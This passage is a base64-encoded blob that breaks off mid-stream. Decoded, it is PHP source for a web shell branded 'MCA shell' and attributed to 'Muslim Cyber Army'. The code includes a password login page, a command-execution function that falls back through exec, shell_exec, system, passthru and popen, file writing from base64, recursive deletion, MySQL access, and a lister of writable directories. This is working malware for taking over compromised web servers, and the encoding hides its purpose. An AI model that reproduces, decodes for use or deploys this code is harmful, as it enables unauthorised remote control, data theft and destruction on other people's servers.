XIoZWc6bWFnaWNfcXVvdGVzX2dwYyknLCduYW1lJz0+J3BocHZhcm5hbWUnLCd2YWx1ZSc9PiRwaHB2YXJuYW1lLCduZXdsaW5lJz0+MSkpOw0KCWZvcm1mb290ZXIoKTsNCg0KCSRocCA9IGFycmF5KDA9PiAnU2VydmVyJywgMT0+ICdQSFAnKTsNCglmb3IoJGE9MDskYTwyOyRhKyspIHsNCgkJcCgnPGgyPicuJGhwWyRhXS4nICZyYXF1bzs8L2gyPicpOw0KCQlwKCc8dWwgY2xhc3M9ImluZm8iPicpOw0KCQlpZiAoJGE9PTApIHsNCgkJCWZvcigkaT0xOyRpPD05OyRpKyspIHsNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoJCQl9DQoJCX0gZWxzZWlmICgkYSA9PSAxKSB7DQoJCQlmb3IoJGk9MTA7JGk8PTIzOyRpKyspIHsNCgkJCQlwKCc8bGk+PHU+Jy4kaW5mb1skaV1bMF0uJzo8L3U+Jy4kaW5mb1skaV1bMV0uJzwvbGk+Jyk7DQoJCQl9DQoJCX0NCgkJcCgnPC91bD4nKTsNCgl9DQp9Ly9lbmQgcGhwZW52DQoNCmVsc2Ugew0KCW0oJ1VuZGVmaW5lZCBBY3Rpb24nKTsNCn0NCg0KPz4NCg0KPC90ZD48L3RyPjwvdGFibGU+DQo8ZGl2IHN0eWxlPSJwYWRkaW5nOjEwcHg7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzBFMEUwRTtib3JkZXItdG9wOjFweCBzb2xpZCAjMEUwRTBFO2JhY2tncm91bmQ6IzBFMEUwRTsiPg0KCTxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGRlYnVnaW5mbygpO29iX2VuZF9mbHVzaCgpOz8+PC9zcGFuPg0KCUNvcHlyaWdodCAoQykgMjAxMyA8Qj48L0I+IC0gRGV2ZWxvcCBieSA8YSBocmVmPWh0dHA6Ly9nb29nbGUuY29tIHRhcmdldD1fYmxhbms+PEI+QmlsbEdhdGUgICA8L0I+PC9hPiAtIDxCPi0gTXVzbGltIEN5YmVyIEFybXk8L0I+IEFsbCBSaWdodHMgUmVzZXJ2ZWQuDQo8L2Rpdj4NCjwvYm9keT4NCjwvbm9zY3JpcHQ+DQoNCjw/cGhwDQoNCi8qPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpTaG93IGluZm8gc2hlbGwNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSovDQoNCmZ1bmN0aW9uIG0oJG1zZykgew0KCWVjaG8gJzxkaXYgc3R5bGU9ImJhY2tncm91bmQ6I2YxZjFmMTtib3JkZXI6MXB4IHNvbGlkICNkZGQ7cGFkZGluZzoxNXB4O2ZvbnQ6MTRweDt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXdlaWdodDpib2xkOyI+JzsNCgllY2hvICRtc2c7DQoJZWNobyAnPC9kaXY+JzsNCn0NCmZ1bmN0aW9uIHNjb29raWUoJGtleSwgJHZhbHVlLCAkbGlmZSA9IDAsICRwcmVmaXggPSAxKSB7DQoJZ2xvYmFsICRhZG1pbiwgJHRpbWVzdGFtcCwgJF9TRVJWRVI7DQoJJGtleSA9ICgkcHJlZml4ID8gJGFkbWluWydjb29raWVwcmUnXSA6ICcnKS4ka2V5Ow0KCSRsaWZlID0gJGxpZmUgPyAkbGlmZSA6ICRhZG1pblsnY29va2llbGlmZSddOw0KCSR1c2Vwb3J0ID0gJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gMSA6IDA7DQoJc2V0Y29va2llKCRrZXksICR2YWx1ZSwgJHRpbWVzdGFtcCskbGlmZSwgJGFkbWluWydjb29raWVwYXRoJ10sICRhZG1pblsnY29va2llZG9tYWluJ10sICR1c2Vwb3J0KTsNCn0NCmZ1bmN0aW9uIG11bHRpKCRudW0sICRwZXJwYWdlLCAkY3VycGFnZSwgJHRhYmxlbmFtZSkgew0KCSRtdWx0aXBhZ2UgPSAnJzsNCglpZigkbnVtID4gJHBlcnBhZ2UpIHsNCgkJJHBhZ2UgPSAxMDsNCgkJJG9mZnNldCA9IDU7DQoJCSRwYWdlcyA9IEBjZWlsKCRudW0gLyAkcGVycGFnZSk7DQoJCWlmKCRwYWdlID4gJHBhZ2VzKSB7DQoJCQkkZnJvbSA9IDE7DQoJCQkkdG8gPSAkcGFnZXM7DQoJCX0gZWxzZSB7DQoJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJG9mZnNldDsNCgkJCSR0byA9ICRjdXJwYWdlICsgJHBhZ2UgLSAkb2Zmc2V0IC0gMTsNCgkJCWlmKCRmcm9tIDwgMSkgew0KCQkJCSR0byA9ICRjdXJwYWdlICsgMSAtICRmcm9tOw0KCQkJCSRmcm9tID0gMTsNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KCQkJCQkkdG8gPSAkcGFnZTsNCgkJCQl9DQoJCQl9IGVsc2VpZigkdG8gPiAkcGFnZXMpIHsNCgkJCQkkZnJvbSA9ICRjdXJwYWdlIC0gJHBhZ2VzICsgJHRvOw0KCQkJCSR0byA9ICRwYWdlczsNCgkJCQlpZigoJHRvIC0gJGZyb20pIDwgJHBhZ2UgJiYgKCR0byAtICRmcm9tKSA8ICRwYWdlcykgew0KCQkJCQkkZnJvbSA9ICRwYWdlcyAtICRwYWdlICsgMTsNCgkJCQl9DQoJCQl9DQoJCX0NCgkJJG11bHRpcGFnZSA9ICgkY3VycGFnZSAtICRvZmZzZXQgPiAxICYmICRwYWdlcyA+ICRwYWdlID8gJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAxKTsiPkZpcnN0PC9hPiAnIDogJycpLigkY3VycGFnZSA+IDEgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlIC0gMSkuJyk7Ij5QcmV2PC9hPiAnIDogJycpOw0KCQlmb3IoJGkgPSAkZnJvbTsgJGkgPD0gJHRvOyAkaSsrKSB7DQoJCQkkbXVsdGlwYWdlIC49ICRpID09ICRjdXJwYWdlID8gJGkuJyAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ1wnLCAnLiRpLicpOyI+WycuJGkuJ108L2E+ICc7DQoJCX0NCgkJJG11bHRpcGFnZSAuPSAoJGN1cnBhZ2UgPCAkcGFnZXMgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuKCRjdXJwYWdlICsgMSkuJyk7Ij5OZXh0PC9hPicgOiAnJykuKCR0byA8ICRwYWdlcyA/ICcgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnXCcsICcuJHBhZ2VzLicpOyI+TGFzdDwvYT4nIDogJycpOw0KCQkkbXVsdGlwYWdlID0gJG11bHRpcGFnZSA/ICc8cD5QYWdlczogJy4kbXVsdGlwYWdlLic8L3A+JyA6ICcnOw0KCX0NCglyZXR1cm4gJG11bHRpcGFnZTsNCn0NCi8vIExvZ2luIHBhZ2UNCmZ1bmN0aW9uIGxvZ2lucGFnZSgpIHsNCj8+DQoNCjxodG1sPg0KPGhlYWQ+DQoNCjxib2R5IGJnY29sb3I9YmxhY2sgYmFja2dyb3VuZD0xLmpwZz4NCg0KCQk8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgLz4NCjx0aXRsZT4uOjpbIE1DQSBzaGVsbCBdOjouIDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KQTpsaW5rIHt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiBncmVlbiB9DQpBOnZpc2l0ZWQge3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjpyZWR9DQpBOmFjdGl2ZSB7dGV4dC1kZWNvcmF0aW9uOiBub25lfQ0KQTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IGNvbG9yOiBncmVlbjt9DQppbnB1dCwgdGV4dGFyZWEsIGJ1dHRvbg0Kew0KCWZvbnQtc2l6ZTogMTFwdDsNCgljb2xvcjogCSNGRkZGRkY7DQoJZm9udC1mYW1pbHk6IHZlcmRhbmEsIHNhbnMtc2VyaWY7DQoJYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCglib3JkZXItbGVmdDogMnB4IGRhc2hlZCAjOEIwMDAwOw0KCWJvcmRlci10b3A6IDJweCBkYXNoZWQgIzhCMDAwMDsNCglib3JkZXItcmlnaHQ6IDJweCBkYXNoZWQgIzhCMDAwMDsNCglib3JkZXItYm90dG9tOiAycHggZGFzaGVkICM4QjAwMDA7DQp9DQoNCjwvc3R5bGU+DQoNCiAgICAgICA8QlI+PEJSPg0KPGRpdiBhbGlnbj1jZW50ZXIgPg0KDQo8ZGl2Pg0KDQo8Zm9udCBjb2xvcj1ncmF5Pg0KPGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+PGJyIC8+DQoNCjxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIiPg0KCTxzcGFuIHN0eWxlPSJmb250OjIwcHQgdGFob21hOyI+IDwvc3Bhbj48aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBzaXplPSIzMCI+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9pbmciIHZhbHVlPSJsb2dpbiI+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCgk8L2Zvcm0+DQo8QlI+DQo8P3BocA0KZWNobyAiIi4kZXJyX21lc3MuIiI7DQo/Pg0KDQoJPEI+PGZvbnQgY29sb3I9cmVkPg0KDQoNCg0KDQoNCg0KPC9kaXY+DQoNCg0KCTwvZmllbGRzZXQ+DQoNCg0KDQo8L2hlYWQ+DQo8L2h0bWw+DQoNCjw/cGhwDQoJZXhpdDsNCg0KfS8vZW5kIGxvZ2lucGFnZSgpDQoNCmZ1bmN0aW9uIGV4ZWN1dGUoJGNmZSkgew0KCSRyZXMgPSAnJzsNCglpZiAoJGNmZSkgew0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KCQkJQGV4ZWMoJGNmZSwkcmVzKTsNCgkJCSRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7DQoJCQkkcmVzID0gQHNoZWxsX2V4ZWMoJGNmZSk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsNCgkJCUBvYl9zdGFydCgpOw0KCQkJQHN5c3RlbSgkY2ZlKTsNCgkJCSRyZXMgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQoJCQlAb2JfZW5kX2NsZWFuKCk7DQoJCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNmZSk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9IGVsc2VpZihAaXNfcmVzb3VyY2UoJGYgPSBAcG9wZW4oJGNmZSwiciIpKSkgew0KCQkJJHJlcyA9ICcnOw0KCQkJd2hpbGUoIUBmZW9mKCRmKSkgew0KCQkJCSRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOw0KCQkJfQ0KCQkJQHBjbG9zZSgkZik7DQoJCX0NCgl9DQoJcmV0dXJuICRyZXM7DQp9DQpmdW5jdGlvbiB3aGljaCgkcHIpIHsNCgkkcGF0aCA9IGV4ZWN1dGUoIndoaWNoICRwciIpOw0KCXJldHVybiAoJHBhdGggPyAkcGF0aCA6ICRwcik7DQp9DQoNCmZ1bmN0aW9uIGNmKCRmbmFtZSwkdGV4dCl7DQoJaWYoJGZwPUBmb3BlbigkZm5hbWUsJ3cnKSkgew0KCQlAZnB1dHMoJGZwLEBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7DQoJCUBmY2xvc2UoJGZwKTsNCgl9DQp9DQoNCi8vIERlYnVnDQpmdW5jdGlvbiBkZWJ1Z2luZm8oKSB7DQoJZ2xvYmFsICRzdGFydHRpbWU7DQoJJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCgkkdG90YWx0aW1lID0gbnVtYmVyX2Zvcm1hdCgoJG10aW1lWzFdICsgJG10aW1lWzBdIC0gJHN0YXJ0dGltZSksIDYpOw0KCWVjaG8gJ1Byb2Nlc3NlZCBpbiAnLiR0b3RhbHRpbWUuJyBzZWNvbmQocyknOw0KfQ0KDQovLyBGdW5jdGlvbiBjb25uZWN0IGRhdGFiYXNlDQpmdW5jdGlvbiBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZT0nJywkY2hhcnNldD0nJywkZGJwb3J0PSczMzA2Jykgew0KCWlmKCEkbGluayA9IEBteXNxbF9jb25uZWN0KCRkYmhvc3QuJzonLiRkYnBvcnQsICRkYnVzZXIsICRkYnBhc3MpKSB7DQoJCXAoJzxoMj5DYW4gbm90IGNvbm5lY3QgdG8gTXlTUUwgc2VydmVyPC9oMj4nKTsNCgkJZXhpdDsNCgl9DQoJaWYoJGxpbmsgJiYgJGRibmFtZSkgew0KCQlpZiAoIUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJGxpbmspKSB7DQoJCQlwKCc8aDI+RGF0YWJhc2Ugc2VsZWN0ZWQgaGFzIGVycm9yPC9oMj4nKTsNCgkJCWV4aXQ7DQoJCX0NCgl9DQoJaWYoJGxpbmsgJiYgbXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkgPiAnNC4xJykgew0KCQlpZihpbl9hcnJheShzdHJ0b2xvd2VyKCRjaGFyc2V0KSwgYXJyYXkoJ2diaycsICdiaWc1JywgJ3V0ZjgnKSkpIHsNCgkJCXEoIlNFVCBjaGFyYWN0ZXJfc2V0X2Nvbm5lY3Rpb249JGNoYXJzZXQsIGNoYXJhY3Rlcl9zZXRfcmVzdWx0cz0kY2hhcnNldCwgY2hhcmFjdGVyX3NldF9jbGllbnQ9YmluYXJ5OyIsICRsaW5rKTsNCgkJfQ0KCX0NCglyZXR1cm4gJGxpbms7DQp9DQoNCi8vIEFycmF5IHN0cmlwDQpmdW5jdGlvbiBzX2FycmF5KCYkYXJyYXkpIHsNCglpZiAoaXNfYXJyYXkoJGFycmF5KSkgew0KCQlmb3JlYWNoICgkYXJyYXkgYXMgJGsgPT4gJHYpIHsNCgkJCSRhcnJheVska10gPSBzX2FycmF5KCR2KTsNCgkJfQ0KCX0gZWxzZSBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHsNCgkJJGFycmF5ID0gc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCXJldHVybiAkYXJyYXk7DQp9DQoNCi8vIEhUTUwgU3RyaXANCmZ1bmN0aW9uIGh0bWxfY2xlYW4oJGNvbnRlbnQpIHsNCgkkY29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpOw0KCSRjb250ZW50ID0gc3RyX3JlcGxhY2UoIlxuIiwgIjxiciAvPiIsICRjb250ZW50KTsNCgkkY29udGVudCA9IHN0cl9yZXBsYWNlKCIgICIsICImbmJzcDsmbmJzcDsiLCAkY29udGVudCk7DQoJJGNvbnRlbnQgPSBzdHJfcmVwbGFjZSgiXHQiLCAiJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7IiwgJGNvbnRlbnQpOw0KCXJldHVybiAkY29udGVudDsNCn0NCg0KLy8gQ2htb2QNCmZ1bmN0aW9uIGdldENobW9kKCRmaWxlcGF0aCl7DQoJcmV0dXJuIHN1YnN0cihiYXNlX2NvbnZlcnQoQGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCn0NCg0KZnVuY3Rpb24gZ2V0UGVybXMoJGZpbGVwYXRoKSB7DQoJJG1vZGUgPSBAZmlsZXBlcm1zKCRmaWxlcGF0aCk7DQoJaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gJ3MnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gJ2QnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gJ2wnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gJy0nO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gJ2InO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gJ2MnO30NCgllbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gJ3AnO30NCgllbHNlIHskdHlwZSA9ICc/Jzt9DQoNCgkkb3duZXJbJ3JlYWQnXSA9ICgkbW9kZSAmIDAwNDAwKSA/ICdyJyA6ICctJzsNCgkkb3duZXJbJ3dyaXRlJ10gPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7DQoJJG93bmVyWydleGVjdXRlJ10gPSAoJG1vZGUgJiAwMDEwMCkgPyAneCcgOiAnLSc7DQoJJGdyb3VwWydyZWFkJ10gPSAoJG1vZGUgJiAwMDA0MCkgPyAncicgOiAnLSc7DQoJJGdyb3VwWyd3cml0ZSddID0gKCRtb2RlICYgMDAwMjApID8gJ3cnIDogJy0nOw0KCSRncm91cFsnZXhlY3V0ZSddID0gKCRtb2RlICYgMDAwMTApID8gJ3gnIDogJy0nOw0KCSR3b3JsZFsncmVhZCddID0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOw0KCSR3b3JsZFsnd3JpdGUnXSA9ICgkbW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCgkkd29ybGRbJ2V4ZWN1dGUnXSA9ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCg0KCWlmKCAkbW9kZSAmIDB4ODAwICkgeyRvd25lclsnZXhlY3V0ZSddID0gKCRvd25lclsnZXhlY3V0ZSddPT0neCcpID8gJ3MnIDogJ1MnO30NCglpZiggJG1vZGUgJiAweDQwMCApIHskZ3JvdXBbJ2V4ZWN1dGUnXSA9ICgkZ3JvdXBbJ2V4ZWN1dGUnXT09J3gnKSA/ICdzJyA6ICdTJzt9DQoJaWYoICRtb2RlICYgMHgyMDAgKSB7JHdvcmxkWydleGVjdXRlJ10gPSAoJHdvcmxkWydleGVjdXRlJ109PSd4JykgPyAndCcgOiAnVCc7fQ0KDQoJcmV0dXJuICR0eXBlLiRvd25lclsncmVhZCddLiRvd25lclsnd3JpdGUnXS4kb3duZXJbJ2V4ZWN1dGUnXS4kZ3JvdXBbJ3JlYWQnXS4kZ3JvdXBbJ3dyaXRlJ10uJGdyb3VwWydleGVjdXRlJ10uJHdvcmxkWydyZWFkJ10uJHdvcmxkWyd3cml0ZSddLiR3b3JsZFsnZXhlY3V0ZSddOw0KfQ0KDQpmdW5jdGlvbiBnZXRVc2VyKCRmaWxlcGF0aCkJew0KCWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJJGFycmF5ID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJGZpbGVwYXRoKSk7DQoJCWlmICgkYXJyYXkgJiYgaXNfYXJyYXkoJGFycmF5KSkgew0KCQkJcmV0dXJuICcgLyA8YSBocmVmPSIjIiB0aXRsZT0iVXNlcjogJy4kYXJyYXlbJ25hbWUnXS4nJiMxMyYjMTBQYXNzd2Q6ICcuJGFycmF5WydwYXNzd2QnXS4nJiMxMyYjMTBVaWQ6ICcuJGFycmF5Wyd1aWQnXS4nJiMxMyYjMTBnaWQ6ICcuJGFycmF5WydnaWQnXS4nJiMxMyYjMTBHZWNvczogJy4kYXJyYXlbJ2dlY29zJ10uJyYjMTMmIzEwRGlyOiAnLiRhcnJheVsnZGlyJ10uJyYjMTMmIzEwU2hlbGw6ICcuJGFycmF5WydzaGVsbCddLiciPicuJGFycmF5WyduYW1lJ10uJzwvYT4nOw0KCQl9DQoJfQ0KCXJldHVybiAnJzsNCn0NCg0KLy8gRGVsZXRlIGRpcg0KZnVuY3Rpb24gZGVsdHJlZSgkZGVsZGlyKSB7DQoJJG15ZGlyPUBkaXIoJGRlbGRpcik7DQoJd2hpbGUoJGZpbGU9JG15ZGlyLT5yZWFkKCkpCXsNCgkJaWYoKGlzX2RpcigkZGVsZGlyLicvJy4kZmlsZSkpICYmICgkZmlsZSE9Jy4nKSAmJiAoJGZpbGUhPScuLicpKSB7DQoJCQlAY2htb2QoJGRlbGRpci4nLycuJGZpbGUsMDc3Nyk7DQoJCQlkZWx0cmVlKCRkZWxkaXIuJy8nLiRmaWxlKTsNCgkJfQ0KCQlpZiAoaXNfZmlsZSgkZGVsZGlyLicvJy4kZmlsZSkpIHsNCgkJCUBjaG1vZCgkZGVsZGlyLicvJy4kZmlsZSwwNzc3KTsNCgkJCUB1bmxpbmsoJGRlbGRpci4nLycuJGZpbGUpOw0KCQl9DQoJfQ0KCSRteWRpci0+Y2xvc2UoKTsNCglAY2htb2QoJGRlbGRpciwwNzc3KTsNCglyZXR1cm4gQHJtZGlyKCRkZWxkaXIpID8gMSA6IDA7DQp9DQoNCi8vIEJhY2tncm91bmQNCmZ1bmN0aW9uIGJnKCkgew0KCWdsb2JhbCAkYmdjOw0KCXJldHVybiAoJGJnYysrJTI9PTApID8gJ2FsdDEnIDogJ2FsdDInOw0KfQ0KDQovLyBHZXQgcGF0aA0KZnVuY3Rpb24gZ2V0UGF0aCgkc2NyaXB0cGF0aCwgJG5vd3BhdGgpIHsNCglpZiAoJG5vd3BhdGggPT0gJy4nKSB7DQoJCSRub3dwYXRoID0gJHNjcmlwdHBhdGg7DQoJfQ0KCSRub3dwYXRoID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbm93cGF0aCk7DQoJJG5vd3BhdGggPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRub3dwYXRoKTsNCglpZiAoc3Vic3RyKCRub3dwYXRoLCAtMSkgIT0gJy8nKSB7DQoJCSRub3dwYXRoID0gJG5vd3BhdGguJy8nOw0KCX0NCglyZXR1cm4gJG5vd3BhdGg7DQp9DQoNCi8vIEdldCB1cCBwYXRoDQpmdW5jdGlvbiBnZXRVcFBhdGgoJG5vd3BhdGgpIHsNCgkkcGF0aGRiID0gZXhwbG9kZSgnLycsICRub3dwYXRoKTsNCgkkbnVtID0gY291bnQoJHBhdGhkYik7DQoJaWYgKCRudW0gPiAyKSB7DQoJCXVuc2V0KCRwYXRoZGJbJG51bS0xXSwkcGF0aGRiWyRudW0tMl0pOw0KCX0NCgkkdXBwYXRoID0gaW1wbG9kZSgnLycsICRwYXRoZGIpLicvJzsNCgkkdXBwYXRoID0gc3RyX3JlcGxhY2UoJy8vJywgJy8nLCAkdXBwYXRoKTsNCglyZXR1cm4gJHVwcGF0aDsNCn0NCg0KLy8gQ29uZmlnDQpmdW5jdGlvbiBnZXRjZmcoJHZhcm5hbWUpIHsNCgkkcmVzdWx0ID0gZ2V0X2NmZ192YXIoJHZhcm5hbWUpOw0KCWlmICgkcmVzdWx0ID09IDApIHsNCgkJcmV0dXJuICdObyc7DQoJfSBlbHNlaWYgKCRyZXN1bHQgPT0gMSkgew0KCQlyZXR1cm4gJ1llcyc7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICRyZXN1bHQ7DQoJfQ0KfQ0KDQovLyBGdW5jdGlvbiBuYW1lDQpmdW5jdGlvbiBnZXRmdW4oJGZ1bk5hbWUpIHsNCglyZXR1cm4gKGZhbHNlICE9PSBmdW5jdGlvbl9leGlzdHMoJGZ1bk5hbWUpKSA/ICdZZXMnIDogJ05vJzsNCn0NCg0KZnVuY3Rpb24gR2V0TGlzdCgkZGlyKXsNCglnbG9iYWwgJGRpcmRhdGEsJGosJG5vd3BhdGg7DQoJISRqICYmICRqPTE7DQoJaWYgKCRkaCA9IG9wZW5kaXIoJGRpcikpIHsNCgkJd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGgpKSB7DQoJCQkkZj1zdHJfcmVwbGFjZSgnLy8nLCcvJywkZGlyLicvJy4kZmlsZSk7DQoJCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nICYmIGlzX2RpcigkZikpew0KCQkJCWlmIChpc193cml0YWJsZSgkZikpIHsNCgkJCQkJJGRpcmRhdGFbJGpdWydmaWxlbmFtZSddPXN0cl9yZXBsYWNlKCRub3dwYXRoLCcnLCRmKTsNCgkJCQkJJGRpcmRhdGFbJGpdWydtdGltZSddPUBkYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRmKSk7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlyY2htb2QnXT1nZXRDaG1vZCgkZik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnZGlycGVybSddPWdldFBlcm1zKCRmKTsNCgkJCQkJJGRpcmRhdGFbJGpdWydkaXJsaW5rJ109dWUoJGRpcik7DQoJCQkJCSRkaXJkYXRhWyRqXVsnc2VydmVyX2xpbmsnXT0kZjsNCgkJCQkJJGRpcmRhdGFbJGpdWydjbGllbnRfbGluayddPXVlKCRmKTsNCgkJCQkJJGorKzsNCgkJCQl9DQoJCQkJR2V0TGlzdCgkZik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRoKTsNCgkJY2xlYXJzdGF0Y2FjaGUoKTsNCgkJcmV0dXJuICRkaXJkYXRhOw0KCX0gZWxzZSB7DQoJCXJldHVybiBhcnJheSgpOw0KCX0NCn0NCg0KZnVuY3Rpb24gcXkoJHNxbCkgew0KCS8vZWNobyAkc3FsLic8YnI+JzsNCgkkcmVzID0gJGVycm9yID0gJyc7DQoJaWYoISRyZXMgPSBAbXlzcWxfcXVlcnkoJHNxbCkpIHsNCgkJcmV0dXJuIDA7DQoJfSBlbHNlIGlmKGlzX3Jlc291cmNlKCRyZXMpKSB7DQoJCXJldHVybiAxOw0KCX0gZWxzZSB7DQoJCXJldHVybiAyOw0KCX0NCglyZXR1cm4gMDsNCn0NCg0KZnVuY3Rpb24gcSgkc3FsKSB7DQoJcmV0dXJuIEBteXNxbF9xdWVyeSgkc3FsKTsNCn0NCg0KZnVuY3Rpb24gZnIoJHF5KXsNCglteXNxbF9mcmVlX3Jlc3VsdCgkcXkpOw0KfQ0KDQpmdW5jdGlvbiBzaXplY291bnQoJHNpemUpIHsNCglpZigkc2l6ZSA+IDEwNzM3NDE4MjQpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNzM3NDE4MjQgKiAxMDApIC8gMTAwIC4gJyBHJzsNCgl9IGVsc2VpZigkc2l6ZSA+IDEwNDg1NzYpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwNDg1NzYgKiAxMDApIC8gMTAwIC4gJyBNJzsNCgl9IGVsc2VpZigkc2l6ZSA+IDEwMjQpIHsNCgkJJHNpemUgPSByb3VuZCgkc2l6ZSAvIDEwMjQgKiAxMDApIC8gMTAwIC4gJyBLJzsNCgl9IGVsc2Ugew0KCQkkc2l6ZSA9ICRzaXplIC4gJyBCJzsNCgl9DQoJcmV0dXJuICRzaXplOw0KfQ0KDQovLyBaaXANCmNsYXNzIFBIUFppcHsNCgl2YXIgJG91dD0nJzsNCglmdW5jdGlvbiBQSFBaaXAoJGRpcikJew0KCQlpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKQl7DQoJCQkkY3VyZGlyID0gZ2V0Y3dkKCk7DQoJCQlpZiAoaXNfYXJyYXkoJGRpcikpICRmaWxlbGlzdCA9ICRkaXI7DQoJCQllbHNlew0KCQkJCSRmaWxlbGlzdD0kdGhpcyAtPiBHZXRGaWxlTGlzdCgkZGlyKTsvL0ZpbGUgbGlzdA0KCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRrPT4kdikgJGZpbGVsaXN0W109c3Vic3RyKCR2LHN0cmxlbigkZGlyKSsxKTsNCgkJCX0NCgkJCWlmICgoIWVtcHR5KCRkaXIpKSYmKCFpc19hcnJheSgkZGlyKSkmJihmaWxlX2V4aXN0cygkZGlyKSkpIGNoZGlyKCRkaXIpOw0KCQkJZWxzZSBjaGRpcigkY3VyZGlyKTsNCgkJCWlmIChjb3VudCgkZmlsZWxpc3QpPjApew0KCQkJCWZvcmVhY2goJGZpbGVsaXN0IGFzICRmaWxlbmFtZSl7DQoJCQkJCWlmIChpc19maWxlKCRmaWxlbmFtZSkpew0KCQkJCQkJJGZ